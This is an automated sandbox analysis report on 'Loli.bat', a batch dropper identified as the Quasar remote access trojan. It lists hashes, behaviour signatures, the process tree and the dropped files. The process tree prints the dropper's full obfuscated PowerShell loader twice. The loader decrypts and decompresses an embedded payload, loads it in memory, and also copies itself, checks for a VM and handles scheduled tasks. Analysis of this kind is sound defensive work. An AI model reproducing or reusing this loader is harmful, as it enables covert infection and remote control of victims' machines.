Analysis

  • max time kernel
    56s
  • max time network
    47s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    31-12-2024 04:18

General

  • Target

    Loli.bat

  • Size

    7.2MB

  • MD5

    b052451fc18d2a15c1d83312b55d09a3

  • SHA1

    81ed7f80a894ceaca01153920d3b5e73f593d6a5

  • SHA256

    adf4074b727b1f4914e3d1bd154f5d8672d16688960a77d4262e2c620cf7f890

  • SHA512

    9102cea466aa291c2df1a4f2d69d4cfe71ef7c7dd048f17719757ed317e80b192337894d59c04fdb95c9c92fc1b0568f2049960ee927bc66d6b421e089a8a659

  • SSDEEP

    49152:zHRDNbQ4h2m6rQA3V8VxkTxV824RWYDQhM84IU6ZGnxb6szVaeB8bOYxs4ztgyUv:F

Malware Config

Extracted

Family

quasar

Attributes
  • encryption_key

    03816C045CDE13385E227545D99CA4F0BBE6CC9F

  • reconnect_delay

    3000

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 4 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 48 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:636
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:392
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{f7f1a82b-956d-40b0-a692-03f0e0fd4074}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:244
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{eeedfc3a-d4f6-4fa4-83f5-81a2ec225617}
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:5656
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:684
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:976
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:556
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:948
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                1⤵
                • Drops file in System32 directory
                PID:1036
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1088
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1104
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                    1⤵
                      PID:1172
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                      1⤵
                        PID:1256
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                        1⤵
                          PID:1284
                          • C:\Windows\system32\sihost.exe
                            sihost.exe
                            2⤵
                              PID:2956
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                            1⤵
                              PID:1312
                            • C:\Windows\System32\svchost.exe
                              C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                              1⤵
                                PID:1360
                              • C:\Windows\System32\svchost.exe
                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                1⤵
                                  PID:1488
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                  1⤵
                                    PID:1572
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                    1⤵
                                      PID:1596
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k NetworkService -p
                                      1⤵
                                        PID:1644
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                        1⤵
                                          PID:1696
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                          1⤵
                                            PID:1724
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                            1⤵
                                              PID:1800
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1860
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:2024
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:1128
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                    1⤵
                                                      PID:1756
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:2052
                                                      • C:\Windows\System32\spoolsv.exe
                                                        C:\Windows\System32\spoolsv.exe
                                                        1⤵
                                                          PID:2148
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                          1⤵
                                                            PID:2280
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                            1⤵
                                                              PID:2360
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                              1⤵
                                                                PID:2488
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                1⤵
                                                                  PID:2500
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k NetworkService -p
                                                                  1⤵
                                                                  • Modifies data under HKEY_USERS
                                                                  PID:2540
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                  1⤵
                                                                    PID:2604
                                                                  • C:\Windows\sysmon.exe
                                                                    C:\Windows\sysmon.exe
                                                                    1⤵
                                                                      PID:2632
                                                                    • C:\Windows\System32\svchost.exe
                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                      1⤵
                                                                        PID:2688
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                        1⤵
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:2696
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                        1⤵
                                                                          PID:2716
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                          1⤵
                                                                            PID:3048
                                                                          • C:\Windows\system32\wbem\unsecapp.exe
                                                                            C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                            1⤵
                                                                              PID:3120
                                                                            • C:\Windows\Explorer.EXE
                                                                              C:\Windows\Explorer.EXE
                                                                              1⤵
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:3260
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Loli.bat"
                                                                                2⤵
                                                                                • Suspicious use of WriteProcessMemory
                                                                                PID:5776
                                                                                • C:\Windows\System32\Conhost.exe
                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                  3⤵
                                                                                    PID:2884
                                                                                  • C:\Windows\system32\fsutil.exe
                                                                                    fsutil fsinfo drives
                                                                                    3⤵
                                                                                      PID:3280
                                                                                    • C:\Windows\system32\findstr.exe
                                                                                      findstr /i /c:"WDS100T2B0A" /c:"QEMU HARDDISK" /c:"DADY HARDDISK"
                                                                                      3⤵
                                                                                        PID:4840
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        cmd.exe /c echo function OaEd($Lhlb){ Invoke-Expression -Debug -Verbose -WarningAction Inquire -InformationAction Ignore '$KNIa=[zYSzYyzYszYtzYezYmzY.zYSezYcuzYrzYizYtyzY.zYCzYrzYypzYtzYozYgrzYazYphzYyzY.zYAzYezYszY]:zY:zYCzYrezYazYtezY()zY;'.Replace('zY', ''); Invoke-Expression -WarningAction Inquire -Debug -Verbose '$KNIa.MLWoLWdLWeLW=LW[LWSLWyLWstLWemLW.LWSLWecLWuLWrLWiLWtyLW.LWCLWryLWpLWtoLWgLWrLWaLWpLWhLWy.LWCLWiLWphLWeLWrMLWodLWeLW]:LW:LWCBLWCLW;'.Replace('LW', ''); Invoke-Expression -WarningAction Inquire -Verbose '$KNIa.PHaaHadHadHaiHanHagHa=Ha[SHaysHatHaeHam.HaSHaeHacHaurHaiHatHay.HaCHaryHapHatHaoHagHarHaapHahHayHa.PHaaHaddHainHagHaMoHadHae]Ha:Ha:HaPHaKHaCSHa7;'.Replace('Ha', ''); Invoke-Expression -InformationAction Ignore '$KNIa.KxUexUyxU=xU[xUSxUyxUsxUtexUm.xUCxUoxUnvxUexUrxUtxU]:xU:xUFxUroxUmxUBaxUsxUexU6xU4xUSxUtrxUixUnxUg("FxUbxUbxU4xUmxUoxUUxUOxUGPxUwrxUfxUQxUh1xUrxUlxUKxUcCxUhxUoxUPLxU/xUZxxUnxUsxUMxUmxU4xU6exUixUVxUmVxUrxUjcxU4=xU");'.Replace('xU', ''); Invoke-Expression -Debug '$KNIa.IVBVVB=VB[VBSVByVBsVBtVBemVB.CVBoVBnVBveVBrVBtVB]VB::VBFVBrVBomVBBVBasVBeVB6VB4VBSVBtVBriVBnVBg("lVBlVBuVBFVB/VBpVBeVBMVB9IVBfDVBMVBVVB3oVBHVBUVB3VBC5VBgVB=VB=");'.Replace('VB', ''); $xPYT=$KNIa.CreateDecryptor(); $BQvO=$xPYT.TransformFinalBlock($Lhlb, 0, $Lhlb.Length); $xPYT.Dispose(); $KNIa.Dispose(); $BQvO;}function OkiP($Lhlb){ Invoke-Expression -InformationAction Ignore -Verbose '$ZKQY=Ncdecdwcd-cdOcdbcdjcdecdctcd Scdycdscdtecdmcd.cdIcdO.cdMcdecdmocdrcdyScdtcdrcdecdacdm(,$Lhlb);'.Replace('cd', ''); Invoke-Expression -InformationAction Ignore '$SIsz=Ncdecdwcd-cdOcdbcdjcdecdctcd Scdycdscdtecdmcd.cdIcdO.cdMcdecdmocdrcdyScdtcdrcdecdacdm;'.Replace('cd', ''); Invoke-Expression -Debug -InformationAction Ignore '$Cswx=Nbnebnwbn-bnObnbbnjbnebnctbn Sbnybnsbntebnmbn.bnIbnO.bnCbnobnmpbnrbnesbnsbnibnobnnbn.bnGZbnibnpbnStbnrbneabnm($ZKQY, [bnIbnObn.bnCbnobnmbnpbnrebnssbnibnobnn.bnCbnobnmbnprbnebnsbnsibnobnnMbnobndbnebn]bn:bn:Dbnebncbnombnpbnrebnssbn);'.Replace('bn', ''); $Cswx.CopyTo($SIsz); $Cswx.Dispose(); $ZKQY.Dispose(); $SIsz.Dispose(); $SIsz.ToArray();}function xNUW($Lhlb,$PBcK){ Invoke-Expression -WarningAction Inquire '$ibma=[WNSWNyWNsWNtWNeWNmWN.WNReWNflWNeWNcWNtiWNoWNnWN.WNAsWNsWNeWNmbWNlWNy]WN:WN:WNLWNoWNaWNd([byte[]]$Lhlb);'.Replace('WN', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Verbose -Debug '$mOyP=$ibma.EdXndXtdXrdXydXPdXodXidXntdX;'.Replace('dX', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire '$mOyP.IFIIFnIFvIFoIFkIFeIF(IF$nIFulIFlIF, $PBcK);'.Replace('IF', '');}$apiD = 'C:\Users\Admin\AppData\Local\Temp\Loli.bat';$host.UI.RawUI.WindowTitle = $apiD;$fTnD=[System.IO.File]::ReadAllText($apiD).Split([Environment]::NewLine);foreach ($kbxa in $fTnD) { if ($kbxa.StartsWith('dzqCD')) { $XAms=$kbxa.Substring(5); break; }}$JuAS=[string[]]$XAms.Split('\');Invoke-Expression -InformationAction Ignore -Verbose -WarningAction Inquire '$wKg = OkiP (OaEd ([PdCPdoPdnPdvPdePdrPdtPd]:Pd:FPdrPdoPdmBPdaPdsPdePd64PdSPdtPdriPdnPdg($JuAS[0].Replace("#", "/").Replace("@", "A"))));'.Replace('Pd', '');Invoke-Expression -InformationAction Ignore '$qzk = OkiP (OaEd ([PdCPdoPdnPdvPdePdrPdtPd]:Pd:FPdrPdoPdmBPdaPdsPdePd64PdSPdtPdriPdnPdg($JuAS[1].Replace("#", "/").Replace("@", "A"))));'.Replace('Pd', '');Invoke-Expression -InformationAction Ignore -Debug -WarningAction Inquire -Verbose '$LwB = OkiP (OaEd ([PdCPdoPdnPdvPdePdrPdtPd]:Pd:FPdrPdoPdmBPdaPdsPdePd64PdSPdtPdriPdnPdg($JuAS[2].Replace("#", "/").Replace("@", "A"))));'.Replace('Pd', '');xNUW $wKg $null;xNUW $qzk $null;xNUW $LwB (,[string[]] (''));
                                                                                        3⤵
                                                                                          PID:5804
                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          powershell.exe -WindowStyle Hidden
                                                                                          3⤵
                                                                                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                          • Suspicious use of SetThreadContext
                                                                                          • Drops file in Windows directory
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:3540
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /C type C:\Users\Admin\AppData\Local\Temp\Loli.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat
                                                                                            4⤵
                                                                                            • Drops file in Windows directory
                                                                                            PID:6080
                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                              5⤵
                                                                                                PID:3852
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" "
                                                                                              4⤵
                                                                                                PID:3520
                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                  5⤵
                                                                                                    PID:3440
                                                                                                  • C:\Windows\system32\fsutil.exe
                                                                                                    fsutil fsinfo drives
                                                                                                    5⤵
                                                                                                      PID:3140
                                                                                                    • C:\Windows\system32\findstr.exe
                                                                                                      findstr /i /c:"WDS100T2B0A" /c:"QEMU HARDDISK" /c:"DADY HARDDISK"
                                                                                                      5⤵
                                                                                                        PID:3556
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        cmd.exe /c echo function OaEd($Lhlb){ Invoke-Expression -Debug -Verbose -WarningAction Inquire -InformationAction Ignore '$KNIa=[zYSzYyzYszYtzYezYmzY.zYSezYcuzYrzYizYtyzY.zYCzYrzYypzYtzYozYgrzYazYphzYyzY.zYAzYezYszY]:zY:zYCzYrezYazYtezY()zY;'.Replace('zY', ''); Invoke-Expression -WarningAction Inquire -Debug -Verbose '$KNIa.MLWoLWdLWeLW=LW[LWSLWyLWstLWemLW.LWSLWecLWuLWrLWiLWtyLW.LWCLWryLWpLWtoLWgLWrLWaLWpLWhLWy.LWCLWiLWphLWeLWrMLWodLWeLW]:LW:LWCBLWCLW;'.Replace('LW', ''); Invoke-Expression -WarningAction Inquire -Verbose '$KNIa.PHaaHadHadHaiHanHagHa=Ha[SHaysHatHaeHam.HaSHaeHacHaurHaiHatHay.HaCHaryHapHatHaoHagHarHaapHahHayHa.PHaaHaddHainHagHaMoHadHae]Ha:Ha:HaPHaKHaCSHa7;'.Replace('Ha', ''); Invoke-Expression -InformationAction Ignore '$KNIa.KxUexUyxU=xU[xUSxUyxUsxUtexUm.xUCxUoxUnvxUexUrxUtxU]:xU:xUFxUroxUmxUBaxUsxUexU6xU4xUSxUtrxUixUnxUg("FxUbxUbxU4xUmxUoxUUxUOxUGPxUwrxUfxUQxUh1xUrxUlxUKxUcCxUhxUoxUPLxU/xUZxxUnxUsxUMxUmxU4xU6exUixUVxUmVxUrxUjcxU4=xU");'.Replace('xU', ''); Invoke-Expression -Debug '$KNIa.IVBVVB=VB[VBSVByVBsVBtVBemVB.CVBoVBnVBveVBrVBtVB]VB::VBFVBrVBomVBBVBasVBeVB6VB4VBSVBtVBriVBnVBg("lVBlVBuVBFVB/VBpVBeVBMVB9IVBfDVBMVBVVB3oVBHVBUVB3VBC5VBgVB=VB=");'.Replace('VB', ''); $xPYT=$KNIa.CreateDecryptor(); $BQvO=$xPYT.TransformFinalBlock($Lhlb, 0, $Lhlb.Length); $xPYT.Dispose(); $KNIa.Dispose(); $BQvO;}function OkiP($Lhlb){ Invoke-Expression -InformationAction Ignore -Verbose '$ZKQY=Ncdecdwcd-cdOcdbcdjcdecdctcd Scdycdscdtecdmcd.cdIcdO.cdMcdecdmocdrcdyScdtcdrcdecdacdm(,$Lhlb);'.Replace('cd', ''); Invoke-Expression -InformationAction Ignore '$SIsz=Ncdecdwcd-cdOcdbcdjcdecdctcd Scdycdscdtecdmcd.cdIcdO.cdMcdecdmocdrcdyScdtcdrcdecdacdm;'.Replace('cd', ''); Invoke-Expression -Debug -InformationAction Ignore '$Cswx=Nbnebnwbn-bnObnbbnjbnebnctbn Sbnybnsbntebnmbn.bnIbnO.bnCbnobnmpbnrbnesbnsbnibnobnnbn.bnGZbnibnpbnStbnrbneabnm($ZKQY, [bnIbnObn.bnCbnobnmbnpbnrebnssbnibnobnn.bnCbnobnmbnprbnebnsbnsibnobnnMbnobndbnebn]bn:bn:Dbnebncbnombnpbnrebnssbn);'.Replace('bn', ''); $Cswx.CopyTo($SIsz); $Cswx.Dispose(); $ZKQY.Dispose(); $SIsz.Dispose(); $SIsz.ToArray();}function xNUW($Lhlb,$PBcK){ Invoke-Expression -WarningAction Inquire '$ibma=[WNSWNyWNsWNtWNeWNmWN.WNReWNflWNeWNcWNtiWNoWNnWN.WNAsWNsWNeWNmbWNlWNy]WN:WN:WNLWNoWNaWNd([byte[]]$Lhlb);'.Replace('WN', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Verbose -Debug '$mOyP=$ibma.EdXndXtdXrdXydXPdXodXidXntdX;'.Replace('dX', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire '$mOyP.IFIIFnIFvIFoIFkIFeIF(IF$nIFulIFlIF, $PBcK);'.Replace('IF', '');}$apiD = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $apiD;$fTnD=[System.IO.File]::ReadAllText($apiD).Split([Environment]::NewLine);foreach ($kbxa in $fTnD) { if ($kbxa.StartsWith('dzqCD')) { $XAms=$kbxa.Substring(5); break; }}$JuAS=[string[]]$XAms.Split('\');Invoke-Expression -InformationAction Ignore -Verbose -WarningAction Inquire '$wKg = OkiP (OaEd ([PdCPdoPdnPdvPdePdrPdtPd]:Pd:FPdrPdoPdmBPdaPdsPdePd64PdSPdtPdriPdnPdg($JuAS[0].Replace("#", "/").Replace("@", "A"))));'.Replace('Pd', '');Invoke-Expression -InformationAction Ignore '$qzk = OkiP (OaEd ([PdCPdoPdnPdvPdePdrPdtPd]:Pd:FPdrPdoPdmBPdaPdsPdePd64PdSPdtPdriPdnPdg($JuAS[1].Replace("#", "/").Replace("@", "A"))));'.Replace('Pd', '');Invoke-Expression -InformationAction Ignore -Debug -WarningAction Inquire -Verbose '$LwB = OkiP (OaEd ([PdCPdoPdnPdvPdePdrPdtPd]:Pd:FPdrPdoPdmBPdaPdsPdePd64PdSPdtPdriPdnPdg($JuAS[2].Replace("#", "/").Replace("@", "A"))));'.Replace('Pd', '');xNUW $wKg $null;xNUW $qzk $null;xNUW $LwB (,[string[]] (''));
                                                                                                        5⤵
                                                                                                          PID:824
                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          powershell.exe -WindowStyle Hidden
                                                                                                          5⤵
                                                                                                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                          • Blocklisted process makes network request
                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                          • Suspicious use of SetThreadContext
                                                                                                          • Drops file in Windows directory
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                          PID:3372
                                                                                                          • C:\Windows\System32\schtasks.exe
                                                                                                            "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F
                                                                                                            6⤵
                                                                                                              PID:5272
                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                7⤵
                                                                                                                  PID:4392
                                                                                                      • C:\Windows\$nya-onimai2\byjRIs.exe
                                                                                                        "C:\Windows\$nya-onimai2\byjRIs.exe"
                                                                                                        2⤵
                                                                                                        • Executes dropped EXE
                                                                                                        PID:1536
                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                          3⤵
                                                                                                            PID:4164
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                        1⤵
                                                                                                          PID:3528
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                                          1⤵
                                                                                                            PID:3580
                                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                            1⤵
                                                                                                              PID:3916
                                                                                                            • C:\Windows\System32\RuntimeBroker.exe
                                                                                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                              1⤵
                                                                                                                PID:4028
                                                                                                              • C:\Windows\system32\DllHost.exe
                                                                                                                C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                1⤵
                                                                                                                  PID:4092
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
                                                                                                                  1⤵
                                                                                                                    PID:3684
                                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
                                                                                                                    1⤵
                                                                                                                      PID:4340
                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                      C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
                                                                                                                      1⤵
                                                                                                                        PID:4556
                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                        C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                                                        1⤵
                                                                                                                          PID:5764
                                                                                                                        • C:\Windows\System32\svchost.exe
                                                                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                                          1⤵
                                                                                                                            PID:5916
                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                                            1⤵
                                                                                                                              PID:4300
                                                                                                                            • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                                              "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                                              1⤵
                                                                                                                                PID:3128
                                                                                                                              • C:\Windows\system32\SppExtComObj.exe
                                                                                                                                C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                                                1⤵
                                                                                                                                  PID:1444
                                                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                                                  C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                                  1⤵
                                                                                                                                    PID:1704
                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                                    1⤵
                                                                                                                                      PID:2556
                                                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                                      1⤵
                                                                                                                                        PID:4436
                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                                        1⤵
                                                                                                                                          PID:3840
                                                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                          1⤵
                                                                                                                                            PID:3968
                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
                                                                                                                                            1⤵
                                                                                                                                              PID:4920
                                                                                                                                              • C:\Windows\System32\pcaui.exe
                                                                                                                                                C:\Windows\System32\pcaui.exe -n 0 -a "" -v "" -g "" -x ""
                                                                                                                                                2⤵
                                                                                                                                                  PID:4892
                                                                                                                                              • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                                C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                                1⤵
                                                                                                                                                • Checks BIOS information in registry
                                                                                                                                                • Checks processor information in registry
                                                                                                                                                PID:4740

                                                                                                                                              Network

                                                                                                                                              MITRE ATT&CK Enterprise v15

                                                                                                                                              Replay Monitor

                                                                                                                                              Loading Replay Monitor...

                                                                                                                                              Downloads

                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                                                Filesize

                                                                                                                                                3KB

                                                                                                                                                MD5

                                                                                                                                                da760f8b53fcde92d67d6a610f0a4707

                                                                                                                                                SHA1

                                                                                                                                                8c75b58f43455329c26520540461832bb90bffeb

                                                                                                                                                SHA256

                                                                                                                                                1435d59e62d35d663ae54ca74cebd76a20b00380e3aa189b5d9567cdce7e7528

                                                                                                                                                SHA512

                                                                                                                                                90e62d0fe87dfc7810cbf864d6a984f2b4c24add105f18d375221d2e0f7637f7a1c2e34afe92dcbfccb5a435e8dd6c4ca87a9d79a0fff29bd79a0ac21846e3e0

                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                                                                Filesize

                                                                                                                                                1KB

                                                                                                                                                MD5

                                                                                                                                                aedb4691b4a410acfe415bdf5817c0d9

                                                                                                                                                SHA1

                                                                                                                                                acdbec00fdeb48253388f5fa7439e26cbfdebe7d

                                                                                                                                                SHA256

                                                                                                                                                cc4e216fe6e882b37196e3a34129e18d386c2541c6527297b84e0350b212cb42

                                                                                                                                                SHA512

                                                                                                                                                1712ac283dc4675ed270c62a0599302a2f3974e2668d1a6b04216b0819800b3e7bef124ba497767bd12c9f887ce34239eb4508a4220a6ba6e75393a370a8fc4e

                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ehaogcmu.ymn.ps1

                                                                                                                                                Filesize

                                                                                                                                                60B

                                                                                                                                                MD5

                                                                                                                                                d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                SHA1

                                                                                                                                                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                SHA256

                                                                                                                                                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                SHA512

                                                                                                                                                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                              • C:\Windows\$nya-onimai2\byjRIs.exe

                                                                                                                                                Filesize

                                                                                                                                                36KB

